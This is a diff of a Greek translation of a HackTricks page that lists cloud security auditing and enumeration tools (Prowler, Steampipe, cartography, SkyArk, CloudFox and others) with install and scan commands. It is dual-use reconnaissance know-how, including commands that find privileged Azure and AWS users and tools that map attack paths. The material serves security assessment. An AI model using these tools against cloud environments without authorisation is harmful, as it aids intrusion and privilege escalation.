-e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -Υποστηρίζει **AWS, GCP & Azure**. Δείτε πώς να διαμορφώσετε κάθε πάροχο στο [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +Υποστηρίζει **AWS, GCP & Azure**. Δες πώς να ρυθμίσεις κάθε provider στο [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -168,9 +194,9 @@ steampipe check all ```
-Έλεγχος όλων των έργων +Έλεγχος όλων των Projects -Για να ελέγξετε όλα τα έργα, χρειάζεται να δημιουργήσετε το αρχείο `gcp.spc` που δηλώνει όλα τα έργα προς έλεγχο. Μπορείτε απλά να ακολουθήσετε τις οδηγίες του παρακάτω script +Για να ελέγξεις όλα τα projects, πρέπει να δημιουργήσεις το αρχείο `gcp.spc` που να δείχνει όλα τα projects που θα δοκιμαστούν. Μπορείς απλώς να ακολουθήσεις τις οδηγίες από το παρακάτω script ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-Για να ελέγξετε **άλλα GCP insights** (χρήσιμο για την απαρίθμηση υπηρεσιών) χρησιμοποιήστε: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Για να ελέγξεις άλλα **GCP insights** (χρήσιμα για enumeration services) χρησιμοποίησε: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -Για να ελέγξετε κώδικα Terraform για GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Για να ελέγξεις Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -Περισσότερα GCP πρόσθετα του Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Περισσότερα GCP plugins του Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} @@ -225,7 +251,7 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -Για έλεγχο του Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +Για να ελέγξεις Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) Περισσότερα AWS plugins του Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} @@ -238,11 +264,11 @@ AWS, GCP, Azure, DigitalOcean.\ ### Nessus -Το Nessus έχει ένα _**Audit Cloud Infrastructure**_ scan που υποστηρίζει: AWS, Azure, Office 365, Rackspace, Salesforce. Απαιτούνται μερικές επιπλέον ρυθμίσεις στο **Azure** για να αποκτηθεί ένα **Client Id**. +Το Nessus έχει ένα scan _**Audit Cloud Infrastructure**_ που υποστηρίζει: AWS, Azure, Office 365, Rackspace, Salesforce. Κάποιες επιπλέον ρυθμίσεις στο **Azure** χρειάζονται για να αποκτηθεί ένα **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Το Cloudlist είναι ένα **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) από Cloud Providers. +Το Cloudlist είναι ένα **multi-cloud tool για την απόκτηση Assets** (Hostnames, IP Addresses) από Cloud Providers. {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +291,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Το Cartography είναι ένα εργαλείο Python που συγκεντρώνει τα στοιχεία υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική προβολή γράφου που τροφοδοτείται από μια βάση δεδομένων Neo4j. +Το Cartography είναι ένα Python εργαλείο που συγκεντρώνει assets υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική προβολή graph, υποστηριζόμενη από μια βάση δεδομένων Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -302,7 +328,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Το Starbase συλλέγει assets και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένων υποδομών cloud, εφαρμογών SaaS, ελέγχων ασφαλείας και άλλων, σε μια διαισθητική προβολή γράφου που υποστηρίζεται από τη βάση δεδομένων Neo4j. +Το Starbase συλλέγει assets και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένων cloud infrastructure, SaaS applications, security controls και άλλα, σε μια διαισθητική προβολή graph με υποστήριξη από τη βάση δεδομένων Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +387,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Ανακαλύπτει τους πιο προνομιούχους χρήστες στο σαρωμένο περιβάλλον AWS ή Azure, συμπεριλαμβανομένων των AWS Shadow Admins. Χρησιμοποιεί powershell. +Ανακάλυψε τους πιο προνομιούχους χρήστες στο σαρωμένο περιβάλλον AWS ή Azure, συμπεριλαμβανομένων των AWS Shadow Admins. Χρησιμοποιεί powershell. ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,15 +398,15 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -Ένα εργαλείο για να εντοπίζει την υποδομή, αρχεία και εφαρμογές μιας εταιρείας (στόχος) στους κορυφαίους παρόχους cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Ένα εργαλείο για να βρει την υποδομή, τα αρχεία και τις apps μιας εταιρείας (target) στους κορυφαίους cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- Το CloudFox είναι ένα εργαλείο για την εύρεση εκμεταλλεύσιμων μονοπατιών επίθεσης σε υποδομές cloud (προς το παρόν υποστηρίζονται μόνο AWS & Azure, με υποστήριξη για GCP σύντομα). -- Είναι ένα enumeration εργαλείο που προορίζεται να συμπληρώνει το χειροκίνητο pentesting. -- Δεν δημιουργεί ή τροποποιεί δεδομένα εντός του cloud περιβάλλοντος. +- Το CloudFox είναι ένα εργαλείο για να βρει exploitable attack paths σε cloud infrastructure (προς το παρόν υποστηρίζονται μόνο AWS & Azure, με GCP να έρχεται σύντομα). +- Είναι ένα enumeration tool που προορίζεται να συμπληρώνει το manual pentesting. +- Δεν δημιουργεί ούτε τροποποιεί κανένα data μέσα στο cloud environment. -### More lists of cloud security tools +### Περισσότερες λίστες από cloud security tools - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -418,4 +444,11 @@ azure-security/ confidential-computing/luks2-header-malleability-null-cipher-abuse.md {{#endref}} +## References + +- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/) +- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2) +- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html) +- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings) + {{#include ../banners/hacktricks-training.md}}